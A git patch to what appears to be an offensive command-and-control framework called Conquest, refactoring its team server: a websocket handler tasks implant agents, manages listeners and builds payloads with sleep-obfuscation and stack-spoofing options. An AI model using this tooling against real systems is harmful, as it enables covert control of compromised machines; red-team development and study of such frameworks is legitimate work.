From 0937840b77b018b1905f71bc1f7473aee16973e5 Mon Sep 17 00:00:00 2001 From: Jakob Friedl <71284620+jakobfriedl@users.noreply.github.com> Date: Wed, 1 Oct 2025 15:27:06 +0200 Subject: [PATCH] Removed unused code. --- src/agent/nim.cfg | 2 +- src/common/types.nim | 1 - src/server/core/agent.nim | 5 +- src/server/core/builder.nim | 2 +- src/server/core/listener.nim | 2 - src/server/core/logger.nim | 24 +++---- src/server/core/server.nim | 132 +++++++++++++++++++++++++++++++++++ src/server/main.nim | 7 +- src/server/utils.nim | 25 ------- src/server/websocket.nim | 30 ++++++-- 10 files changed, 173 insertions(+), 57 deletions(-) create mode 100644 src/server/core/server.nim delete mode 100644 src/server/utils.nim diff --git a/src/agent/nim.cfg b/src/agent/nim.cfg index d5d6103..025ec32 100644 --- a/src/agent/nim.cfg +++ b/src/agent/nim.cfg @@ -3,6 +3,6 @@ -d:release --opt:size --passL:"-s" # Strip symbols, such as sensitive function names --d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER" +-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER" -d:MODULES="255" -o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe" \ No newline at end of file diff --git a/src/common/types.nim b/src/common/types.nim index 66ae7db..8d1ed7d 100644 --- a/src/common/types.nim +++ b/src/common/types.nim @@ -279,7 +279,6 @@ type listeners*: Table[string, Listener] threads*: Table[string, Thread[Listener]] agents*: Table[string, Agent] - interactAgent*: Agent keyPair*: KeyPair profile*: Profile client*: UIClient diff --git a/src/server/core/agent.nim b/src/server/core/agent.nim index da50556..6fd4768 100644 --- a/src/server/core/agent.nim +++ b/src/server/core/agent.nim @@ -1,10 +1,8 @@ -import terminal, strformat, strutils, tables, times, system, parsetoml +import terminal, strformat, strutils, tables, system, parsetoml -import ../utils import ../core/logger import ../db/database import ../../common/types -import ../websocket # Terminate agent and remove it from the database proc agentKill*(cq: Conquest, name: string) = @@ -17,7 +15,6 @@ proc agentKill*(cq: Conquest, name: string) = # TODO: Stop the process of the agent on the target system # TODO: Add flag to self-delete executable after killing agent - # Remove the agent from the database if not cq.dbDeleteAgentByName(name.toUpperAscii): cq.error("Failed to terminate agent: ", getCurrentExceptionMsg()) diff --git a/src/server/core/builder.nim b/src/server/core/builder.nim index 60826c7..7ecb590 100644 --- a/src/server/core/builder.nim +++ b/src/server/core/builder.nim @@ -3,7 +3,7 @@ import terminal, strformat, strutils, sequtils, tables, system, osproc, streams, import ../globals import ../core/logger import ../db/database -import ../../common/[types, utils, profile, serialize, crypto] +import ../../common/[types, utils, serialize, crypto] const PLACEHOLDER = "PLACEHOLDER" diff --git a/src/server/core/listener.nim b/src/server/core/listener.nim index de30689..d72dbfc 100644 --- a/src/server/core/listener.nim +++ b/src/server/core/listener.nim @@ -2,8 +2,6 @@ import strformat, strutils, terminal import mummy, mummy/routers import parsetoml -import ../globals -import ../utils import ../api/routes import ../db/database import ../core/logger diff --git a/src/server/core/logger.nim b/src/server/core/logger.nim index a136464..b26f2bb 100644 --- a/src/server/core/logger.nim +++ b/src/server/core/logger.nim @@ -11,14 +11,15 @@ proc makeAgentLogDirectory*(cq: Conquest, agentId: string): bool = except OSError: return false -proc log*(cq: Conquest, logEntry: string) = - # TODO: Fix issue where log files are written to the wrong agent when the interact agent is changed in the middle of command execution - # Though that problem would not occur when a proper GUI is used in the future - let agentLogPath = fmt"{CONQUEST_ROOT}/data/logs/{cq.interactAgent.agentId}/session.log" - +proc log*(cq: Conquest, agentId: string = "", logEntry: string) = # Write log entry to file - let file = open(agentLogPath, fmAppend) - file.writeLine(fmt"{logEntry}") + var logFile: string + if agentId.isEmptyOrWhitespace(): + logFile = fmt"{CONQUEST_ROOT}/data/logs/events.log" + else: + logFile = fmt"{CONQUEST_ROOT}/data/logs/{agentId}/session.log" + let file = open(logFile, fmAppend) + file.writeLine(logEntry) file.flushFile() proc extractStrings*(args: string): string = @@ -38,8 +39,7 @@ proc getTimestamp*(): string = # Function templates and overwrites template writeLine*(cq: Conquest, args: varargs[untyped] = "") = stdout.styledWriteLine(args) - if cq.interactAgent != nil: - cq.log(extractStrings($(args))) + # cq.log(extractStrings($(args))) # Wrapper functions for logging/console output template info*(cq: Conquest, args: varargs[untyped] = "") = @@ -54,11 +54,5 @@ template success*(cq: Conquest, args: varargs[untyped] = "") = template warning*(cq: Conquest, args: varargs[untyped] = "") = cq.writeLine(fgBlack, styleBright, fmt"[{getTimestamp()}]", fgYellow, styleDim, $LOG_WARNING, resetStyle, args) -template input*(cq: Conquest, args: varargs[untyped] = "") = - if cq.interactAgent != nil: - cq.writeLine(fgBlue, styleBright, fmt"[{getTimestamp()}] ", fgYellow, fmt"[{cq.interactAgent.agentId}] ", resetStyle, args) - else: - cq.writeLine(fgBlue, styleBright, fmt"[{getTimestamp()}] ", resetStyle, args) - template output*(cq: Conquest, args: varargs[untyped] = "") = cq.writeLine(args) \ No newline at end of file diff --git a/src/server/core/server.nim b/src/server/core/server.nim new file mode 100644 index 0000000..e2bf208 --- /dev/null +++ b/src/server/core/server.nim @@ -0,0 +1,132 @@ +import prompt, terminal, argparse, parsetoml, times, json, math +import strutils, strformat, system, tables + +import ./[agent, listener, builder] +import ../globals +import ../db/database +import ../core/logger +import ../../common/[types, crypto, utils, profile, event] +import ../websocket +import mummy, mummy/routers + +proc header() = + echo "" + echo "┏┏┓┏┓┏┓┓┏┏┓┏╋" + echo "┗┗┛┛┗┗┫┗┻┗ ┛┗ V0.1" + echo " ┗ @jakobfriedl" + echo "─".repeat(21) + echo "" + +proc init*(T: type Conquest, profile: Profile): Conquest = + var cq = new Conquest + cq.listeners = initTable[string, Listener]() + cq.threads = initTable[string, Thread[Listener]]() + cq.agents = initTable[string, Agent]() + cq.interactAgent = nil + cq.profile = profile + cq.keyPair = loadKeyPair(CONQUEST_ROOT & "/" & profile.getString("private-key-file")) + cq.dbPath = CONQUEST_ROOT & "/" & profile.getString("database-file") + cq.client = nil + return cq + +#[ + WebSocket +]# +proc upgradeHandler(request: Request) = + {.cast(gcsafe).}: + let ws = request.upgradeToWebSocket() + cq.client = UIClient( + ws: ws + ) + +proc websocketHandler(ws: WebSocket, event: WebSocketEvent, message: Message) {.gcsafe.} = + {.cast(gcsafe).}: + case event: + of OpenEvent: + # New client connected to team server + # Send profile, sessions and listeners to the UI client + cq.client.sendProfile(cq.profile) + for id, listener in cq.listeners: + cq.client.sendListener(listener) + for id, agent in cq.agents: + cq.client.sendAgent(agent) + cq.client.sendEventlogItem(LOG_SUCCESS_SHORT, "CQ-V1") + + of MessageEvent: + # Continuously send heartbeat messages + ws.sendHeartbeat() + + let event = message.recvEvent() + + case event.eventType: + of CLIENT_AGENT_TASK: + let agentId = event.data["agentId"].getStr() + let task = event.data["task"].to(Task) + cq.agents[agentId].tasks.add(task) + + of CLIENT_LISTENER_START: + let listener = event.data.to(UIListener) + cq.listenerStart(listener.listenerId, listener.address, listener.port, listener.protocol) + + of CLIENT_LISTENER_STOP: + let listenerId = event.data["listenerId"].getStr() + cq.listenerStop(listenerId) + + of CLIENT_AGENT_BUILD: + let + listenerId = event.data["listenerId"].getStr() + sleepDelay = event.data["sleepDelay"].getInt() + sleepTechnique = cast[SleepObfuscationTechnique](event.data["sleepTechnique"].getInt()) + spoofStack = event.data["spoofStack"].getBool() + modules = cast[uint32](event.data["modules"].getInt()) + + let payload = cq.agentBuild(listenerId, sleepDelay, sleepTechnique, spoofStack, modules) + if payload.len() != 0: + cq.client.sendAgentPayload(payload) + + else: discard + + of ErrorEvent: + discard + of CloseEvent: + # Set the client instance to nil again to prevent debug error messages + cq.client = nil + +proc startServer*(profilePath: string) = + + # Ensure that the conquest root directory was passed as a compile-time define + when not defined(CONQUEST_ROOT): + quit(0) + + header() + + try: + # Initialize framework context + # Load and parse profile + let profile = parsetoml.parseFile(profilePath) + cq = Conquest.init(profile) + + cq.info("Using profile \"", profile.getString("name"), "\" (", profilePath ,").") + + except CatchableError as err: + echo err.msg + quit(0) + + # Initialize database + cq.dbInit() + for agent in cq.dbGetAllAgents(): + cq.agents[agent.agentId] = agent + for listener in cq.dbGetAllListeners(): + cq.listeners[listener.listenerId] = listener + + # Restart existing listeners + for listenerId, listener in cq.listeners: + cq.listenerStart(listenerId, listener.address, listener.port, listener.protocol) + + # Start websocket server + var router: Router + router.get("/*", upgradeHandler) + + # Increased websocket message length in order to support dotnet assembly execution + let server = newServer(router, websocketHandler, maxMessageLen = 1024 * 1024 * 1024) + server.serve(Port(cq.profile.getInt("team-server.port")), "0.0.0.0") \ No newline at end of file diff --git a/src/server/main.nim b/src/server/main.nim index b1fcfcd..429c00d 100644 --- a/src/server/main.nim +++ b/src/server/main.nim @@ -1,11 +1,11 @@ -import terminal, parsetoml, times, json, math +import terminal, parsetoml, json, math import strutils, strformat, system, tables -import ./core/[agent, listener, builder] +import ./core/[listener, builder] import ./globals import ./db/database import ./core/logger -import ../common/[types, crypto, utils, profile, event] +import ../common/[types, crypto, profile, event] import ./websocket import mummy, mummy/routers @@ -22,7 +22,6 @@ proc init*(T: type Conquest, profile: Profile): Conquest = cq.listeners = initTable[string, Listener]() cq.threads = initTable[string, Thread[Listener]]() cq.agents = initTable[string, Agent]() - cq.interactAgent = nil cq.profile = profile cq.keyPair = loadKeyPair(CONQUEST_ROOT & "/" & profile.getString("private-key-file")) cq.dbPath = CONQUEST_ROOT & "/" & profile.getString("database-file") diff --git a/src/server/utils.nim b/src/server/utils.nim deleted file mode 100644 index 4a00d1d..0000000 --- a/src/server/utils.nim +++ /dev/null @@ -1,25 +0,0 @@ -import times, json -import ../common/types - -proc `%`*(agent: Agent): JsonNode = - result = newJObject() - result["agentId"] = %agent.agentId - result["listenerId"] = %agent.listenerId - result["username"] = %agent.username - result["hostname"] = %agent.hostname - result["domain"] = %agent.domain - result["ip"] = %agent.ip - result["os"] = %agent.os - result["process"] = %agent.process - result["pid"] = %agent.pid - result["elevated"] = %agent.elevated - result["sleep"] = %agent.sleep - result["firstCheckin"] = %agent.firstCheckin.toTime().toUnix() - result["latestCheckin"] = %agent.latestCheckin.toTime().toUnix() - -proc `%`*(listener: Listener): JsonNode = - result = newJObject() - result["listenerId"] = %listener.listenerId - result["address"] = %listener.address - result["port"] = %listener.port - result["protocol"] = %listener.protocol \ No newline at end of file diff --git a/src/server/websocket.nim b/src/server/websocket.nim index 118fce0..9e32cde 100644 --- a/src/server/websocket.nim +++ b/src/server/websocket.nim @@ -1,9 +1,31 @@ -import mummy -import times, tables, json, base64, parsetoml -import ./utils -import ../common/[types, utils, serialize, event] +import times, json, base64, parsetoml +import ../common/[types, event] + export sendHeartbeat, recvEvent +proc `%`*(agent: Agent): JsonNode = + result = newJObject() + result["agentId"] = %agent.agentId + result["listenerId"] = %agent.listenerId + result["username"] = %agent.username + result["hostname"] = %agent.hostname + result["domain"] = %agent.domain + result["ip"] = %agent.ip + result["os"] = %agent.os + result["process"] = %agent.process + result["pid"] = %agent.pid + result["elevated"] = %agent.elevated + result["sleep"] = %agent.sleep + result["firstCheckin"] = %agent.firstCheckin.toTime().toUnix() + result["latestCheckin"] = %agent.latestCheckin.toTime().toUnix() + +proc `%`*(listener: Listener): JsonNode = + result = newJObject() + result["listenerId"] = %listener.listenerId + result["address"] = %listener.address + result["port"] = %listener.port + result["protocol"] = %listener.protocol + #[ Server -> Client ]#